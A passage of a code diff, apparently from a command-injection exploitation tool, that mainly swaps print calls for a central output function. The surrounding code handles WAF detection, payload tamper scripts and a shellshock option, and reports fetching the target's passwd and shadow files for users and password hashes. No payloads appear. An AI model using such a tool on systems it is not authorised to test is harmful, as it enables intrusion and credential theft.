settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Get value inside boundaries. @@ -541,7 +541,7 @@ def ignore_anticsrf_parameter(parameter): if (len(parameter.split("="))) == 2: info_msg = "Ignoring the parameter '" + parameter.split("=")[0] info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True """ @@ -551,7 +551,7 @@ def ignore_google_analytics_cookie(cookie): if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): if (len(cookie.split("="))) == 2: info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) return True """ @@ -559,14 +559,14 @@ def ignore_google_analytics_cookie(cookie): """ def newline_fixation(payload): payload = _urllib.parse.unquote(payload) - if "\n" in payload: - #_ = payload.find("\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace("\n","%0a") - if "\r" in payload: + if settings.END_LINE.CR in payload: #_ = payload.find("\r\n") + 1 #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace("\r","%0d") + payload = payload.replace(settings.END_LINE.CR,"%0d") + if settings.END_LINE.LF in payload: + #_ = payload.find("\n") + 1 + #payload = _urllib.parse.quote(payload[:_]) + payload[_:] + payload = payload.replace(settings.END_LINE.LF,"%0a") return payload """ @@ -590,7 +590,7 @@ def page_encoding(response, action): except Exception as e: if settings.PAGE_COMPRESSION is None: warn_msg = "Turning off page compression." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.PAGE_COMPRESSION = False _ = False try: @@ -608,7 +608,7 @@ def page_encoding(response, action): if _: err_msg += "You are advised to rerun with" err_msg += ('out', '')[menu.options.codec == None] + " option '--codec'." - print(settings.print_critical_msg(str(err_msg))) + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) raise SystemExit() """ @@ -628,7 +628,7 @@ def get_header(headers, key): def blocked_ip(page): if re.search(settings.BLOCKED_IP_REGEX, page): warn_msg = "It appears that you have been blocked by the target server." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ Checks regarding a potential browser verification protection mechanism. @@ -641,7 +641,7 @@ def browser_verification(page): warn_msg += " (CloudFlare)." else: warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ Checks regarding a potential CAPTCHA protection mechanism. @@ -657,8 +657,8 @@ def captcha_check(page): else: warn_msg += "." if settings.CRAWLING: - print(settings.SINGLE_WHITESPACE) - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) break """ @@ -667,22 +667,22 @@ def captcha_check(page): def check_for_false_positive_result(false_positive_warning): info_msg = "Checking if the injection point on " info_msg += settings.CHECKING_PARAMETER + " is a false positive.\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) warn_msg = "Time-based comparison requires " + ('larger', 'reset of')[false_positive_warning] + " statistical model" if settings.VERBOSITY_LEVEL != 0: warn_msg = warn_msg + ".\n" else: warn_msg = warn_msg +", please wait..." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) """ False positive or unexploitable injection point detected. """ def unexploitable_point(): if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "False positive or unexploitable injection point has been detected." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) """ Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. @@ -690,7 +690,7 @@ def unexploitable_point(): def total_of_requests(): debug_msg = "Identified the following injection point with " debug_msg += "a total of " + str(settings.TOTAL_OF_REQUESTS) + " HTTP(S) requests." - print(settings.print_bold_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) """ Url decode specific chars of the provided payload. @@ -716,12 +716,12 @@ def check_connection(url): try: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Resolving hostname '" + hostname + "'." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) socket.getaddrinfo(hostname, None) except socket.gaierror: err_msg = "Host '" + hostname + "' does not exist." if not settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except socket.error: err_msg = "Problem occurred while " @@ -730,7 +730,7 @@ def check_connection(url): err_msg = "Problem occurred while " err_msg += "handling a host name '" + hostname + "'" if not settings.MULTI_TARGETS: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -865,7 +865,7 @@ def continue_tests(err): not menu.options.skip_waf and \ not settings.HOST_INJECTION : warn_msg = "It seems that target is protected by some kind of WAF/IPS." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True while True: @@ -893,7 +893,7 @@ def continue_tests(err): def unavailable_option(check_option): warn_msg = "The option '" + check_option + "' " warn_msg += "is not yet supported Windows targets." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Transformation of separators if time-based injection @@ -917,7 +917,7 @@ def no_readline_module(): err_msg += " 'pyreadline' package (https://pypi.python.org/pypi/pyreadline) or the 'pyreadline3' package (https://pypi.python.org/pypi/pyreadline3) instead." elif settings.PLATFORM == "mac": err_msg += " 'gnureadline' package (https://pypi.python.org/pypi/gnureadline)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) """ Check for incompatible OS (i.e Unix). @@ -925,7 +925,7 @@ def no_readline_module(): def ps_incompatible_os(): if not settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return True """ @@ -934,7 +934,7 @@ def ps_incompatible_os(): def ps_check(): if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) while True: message = "The payloads in some options that you " message += "have chosen are requiring the use of powershell. " @@ -963,7 +963,7 @@ def ps_check_failed(): if ps_check in settings.CHOICE_YES: break elif ps_check in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) os._exit(0) else: common.invalid_option(ps_check) @@ -977,11 +977,11 @@ def check_CGI_scripts(url): CGI_SCRIPTS = [] if not os.path.isfile(settings.CGI_SCRIPTS ): err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found" - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(settings.CGI_SCRIPTS ) == 0: err_msg = "The " + settings.CGI_SCRIPTS + " list is empty." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() with open(settings.CGI_SCRIPTS , "r") as f: for line in f: @@ -989,7 +989,7 @@ def check_CGI_scripts(url): CGI_SCRIPTS.append(line) except IOError: err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() _ = False @@ -998,7 +998,7 @@ def check_CGI_scripts(url): info_msg = "Heuristic (basic) tests shows that target URL might contain a script " info_msg += "vulnerable to shellshock. " _ = True - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) while True: message = "Do you want to enable the shellshock module ('--shellshock')? [Y/n] > " shellshock_check = common.read_input(message, default="Y", check_batch=True) @@ -1037,17 +1037,17 @@ def check_http_s(url): settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" else: err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except ValueError as err: err_msg = "Problem occurred while parsing target URL." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if _urllib.parse.urlparse(url).scheme != settings.SCHEME: if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: debug_msg = "Forcing usage of SSL/HTTPS requests." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) url = url.replace(_urllib.parse.urlparse(url).scheme, settings.SCHEME) return url @@ -1065,7 +1065,7 @@ def user_defined_os(): else: err_msg = "You defined wrong value '" + menu.options.os + "' " err_msg += "for operation system. The value, must be 'Windows' or 'Unix'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -1104,8 +1104,8 @@ def identified_os(): if settings.IGNORE_IDENTIFIED_OS == None: warn_msg = "Identified different operating system (i.e. '" warn_msg += settings.TARGET_OS.title() + "'), than the defined (i.e. '" + menu.options.os.title() + "')." - print(settings.print_bold_warning_msg(warn_msg)) - message = "How do you want to proceed? [(c)ontinue/(S)kip/(q)uit] > " + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="S", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": @@ -1126,14 +1126,14 @@ def identified_os(): def third_party_dependencies(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Checking all required third-party library dependencies." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: import sqlite3 except ImportError: err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "in order to store previous injection points and commands. " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() try: @@ -1146,7 +1146,7 @@ def third_party_dependencies(): err_msg = "The 'pyreadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) elif settings.PLATFORM == "posix": try: import gnureadline @@ -1154,7 +1154,7 @@ def third_party_dependencies(): err_msg = "The 'gnureadline' (third-party) library is required " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features." - print(settings.print_error_msg(err_msg)) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) pass """ @@ -1165,7 +1165,7 @@ def http_auth_err_msg(): err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" err_msg += " and continue tests without providing valid credentials." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -1175,7 +1175,7 @@ def error_loading_session_file(): err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -1184,17 +1184,17 @@ def error_loading_session_file(): def time_delay_recommendation(): warn_msg = "Due to unexpected time delays, it is highly " warn_msg += "recommended to enable the 'reverse_tcp' option.\n" - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) """ Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): message = "Unexpected time delays have been identified due to unstable " - message += "requests. This behavior may lead to false-positive results. " - sys.stdout.write("\r") + message += "requests and may lead to false-positive results. " + settings.print_data_to_stdout(settings.END_LINE.CR) while True: - message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + message = message + "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": @@ -1225,14 +1225,14 @@ def time_relative_shell(url_time_response, how_long, timesec): """ def time_relative_attaks_msg(): warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check if defined "--url-reload" option. """ def reload_url_msg(technique): warn_msg = "On " + technique + "technique, the '--url-reload' option is not available." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Decision if the user-defined HTTP authenticatiob type, @@ -1242,8 +1242,8 @@ def identified_http_auth_type(auth_type): warn_msg = "Identified different HTTP authentication type (" warn_msg += auth_type.lower() + ") than that you have provided (" warn_msg += menu.options.auth_type + ")." - print(settings.print_warning_msg(warn_msg)) - message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + message = "How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": @@ -1313,7 +1313,7 @@ def remove_skipped_params(url, check_parameters): _.append(parameter) if _: info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) menu.options.test_parameter = True """ @@ -1371,7 +1371,7 @@ def testable_parameters(url, check_parameters, header_name): else: debug_msg += check_http_method(url) debug_msg += "." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ @@ -1381,22 +1381,22 @@ def time_relative_tamper(tamper): warn_msg = "All injection techniques, except for the time-relative ones, " warn_msg += "do not support the '" + tamper + ".py' tamper script." if menu.options.skip_heuristics: - print(settings.SINGLE_WHITESPACE) - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Lists available tamper scripts """ def list_tamper_scripts(): info_msg = "Listing available tamper scripts." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if menu.options.list_tampers: for script in sorted(glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): content = open(script, "rb").read().decode(settings.DEFAULT_CODEC) match = re.search(r"About:(.*)\n", content) if match: comment = match.group(1).strip() - print(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN_TYPE + os.path.basename(script) + Style.RESET_ALL + " - " + comment) """ Tamper script checker @@ -1414,11 +1414,11 @@ def tamper_scripts(stored_tamper_scripts): else: err_msg = "The '" + script + "' tamper script does not exist. " err_msg += "Use the '--list-tampers' option for listing available tamper scripts." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if not stored_tamper_scripts: info_msg = "Loaded tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) for script in provided_scripts: if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) @@ -1433,16 +1433,16 @@ def tamper_scripts(stored_tamper_scripts): if len(warn_msg) != 0: if not stored_tamper_scripts: warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: if not stored_tamper_scripts: - print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): err_msg = "Missing variable '__tamper__' " err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except (ImportError, ValueError) as err_msg: pass @@ -1457,7 +1457,7 @@ def tamper_scripts(stored_tamper_scripts): warn_msg = "The combination of the provided tamper scripts " if _: warn_msg += "is not a good idea (may cause false positive / negative results)." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Check if the payload output seems to be hex. @@ -1650,7 +1650,7 @@ def check_encoders(payload): elif procced_option in settings.CHOICE_NO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Unloading the '" + encode_type + "' tamper script." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) settings.MULTI_ENCODED_PAYLOAD.remove(encode_type) break elif procced_option in settings.CHOICE_QUIT: @@ -1709,7 +1709,7 @@ def check_encoders(payload): settings.MULTI_ENCODED_PAYLOAD.remove(encoded_with + "encode") if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping load the '" + encoded_with + "encode' tamper script." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() @@ -1866,7 +1866,7 @@ def skip_empty(empty_parameters, http_request_method): warn_msg += (' have ', ' has ')[len(empty_parameters.split(",")) == 1] warn_msg += "been skipped from testing" warn_msg += " because user specified testing of only parameter(s) with non-empty value" + "s"[len(empty_parameters.split(",")) == 1:][::-1] + "." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ @@ -1892,7 +1892,7 @@ def is_empty(multi_parameters, http_request_method): json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) multi_params = flatten(json_data) except ValueError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() for empty in multi_params: try: @@ -1911,7 +1911,7 @@ def is_empty(multi_parameters, http_request_method): except IndexError: if not settings.IS_XML and not settings.IS_JSON: err_msg = "No parameter(s) found for testing in the provided data." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if len(empty_parameters) == len(multi_parameters): @@ -1936,7 +1936,7 @@ def is_empty(multi_parameters, http_request_method): warn_msg += (' are ', ' is ')[len(empty_parameters.split(",")) == 1] + "empty. " warn_msg += "You are advised to use only valid values, so " + settings.APPLICATION warn_msg += " could be able to run properly." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return False # Check if valid SOAP/XML @@ -1965,7 +1965,7 @@ def is_JSON_check(parameter): if not "No JSON object could be decoded" in str(err_msg) and \ not _: err_msg = "JSON " + str(err_msg) + ". " - print(settings.print_critical_msg(err_msg) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() return False @@ -1994,7 +1994,7 @@ def inappropriate_format(multi_parameters): err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1] err_msg += (' are ', ' is ')[len(multi_parameters) == 1] err_msg += "not in appropriate format." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -2059,10 +2059,10 @@ def print_ps_version(ps_version, filename, _): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in ps_version) if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) # Output PowerShell's version number info_msg = "Powershell version: " + ps_version - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2071,7 +2071,7 @@ def print_ps_version(ps_version, filename, _): except ValueError: warn_msg = "Failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False ps_check_failed() @@ -2081,9 +2081,9 @@ def print_ps_version(ps_version, filename, _): def print_hostname(shell, filename, _): if shell: if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2091,7 +2091,7 @@ def print_hostname(shell, filename, _): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print current user info @@ -2099,9 +2099,9 @@ def print_hostname(shell, filename, _): def print_current_user(cu_account, filename, _): if cu_account: if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2109,7 +2109,7 @@ def print_current_user(cu_account, filename, _): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print current user privs @@ -2121,10 +2121,10 @@ def print_current_user_privs(shell, filename, _): priv = "False" if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Current user has excessive privileges: " + str(priv) - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2136,9 +2136,9 @@ def print_current_user_privs(shell, filename, _): def print_os_info(target_os, target_arch, filename, _): if target_os and target_arch: if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Operating system: " + str(target_os) + settings.SINGLE_WHITESPACE + str(target_arch) - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2146,7 +2146,7 @@ def print_os_info(target_os, target_arch, filename, _): output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) else: warn_msg = "Failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Print enumeration info msgs @@ -2154,23 +2154,23 @@ def print_os_info(target_os, target_arch, filename, _): class print_enumenation(): def ps_version_msg(self): info_msg = "Fetching powershell version." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def hostname_msg(self): info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def current_user_msg(self): info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def check_privs_msg(self): info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def os_info_msg(self): info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_users_msg(self): if settings.TARGET_OS == settings.OS.WINDOWS: @@ -2178,16 +2178,16 @@ def print_users_msg(self): else: info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + "' " info_msg += "in order to enumerate operating system users. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_passes_msg(self): info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + "' " info_msg += "in order to enumerate operating system users password hashes. " - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) def print_single_os_cmd_msg(self, cmd): info_msg = "Executing the user-supplied command: '" + cmd + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Print users enumeration. @@ -2204,11 +2204,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi sys_users_list = sys_users_list.split() if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2217,7 +2217,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi for user in range(0, len(sys_users_list)): count = count + 1 is_privileged = is_privileged = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2225,15 +2225,15 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi output_file.write("\n") output_file.write("(" +str(count)+ ") '" + sys_users_list[user] + is_privileged + "'\n" ) else: - # print(settings.SINGLE_WHITESPACE) + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate operating system users." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) except TypeError: pass except IndexError: - # print(settings.SINGLE_WHITESPACE) + # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate operating system users." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) pass # Unix-like users enumeration. @@ -2249,9 +2249,9 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi if len(sys_users) % 3 != 0 : warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) + settings.print_data_to_stdout(sys_users) with open(filename, 'a') as output_file: if not menu.options.no_logging: output_file.write(" " + sys_users) @@ -2261,11 +2261,11 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) info_msg = "Identified operating system" info_msg += " user" + ('s', '')[len(sys_users_list) == 1] info_msg += " [" + str(len(sys_users_list)) + "]:" - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. with open(filename, 'a') as output_file: if not menu.options.no_logging: @@ -2304,7 +2304,7 @@ def print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whi else : is_privileged = "" is_privileged_nh = "" - print(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "' " + Style.BRIGHT + 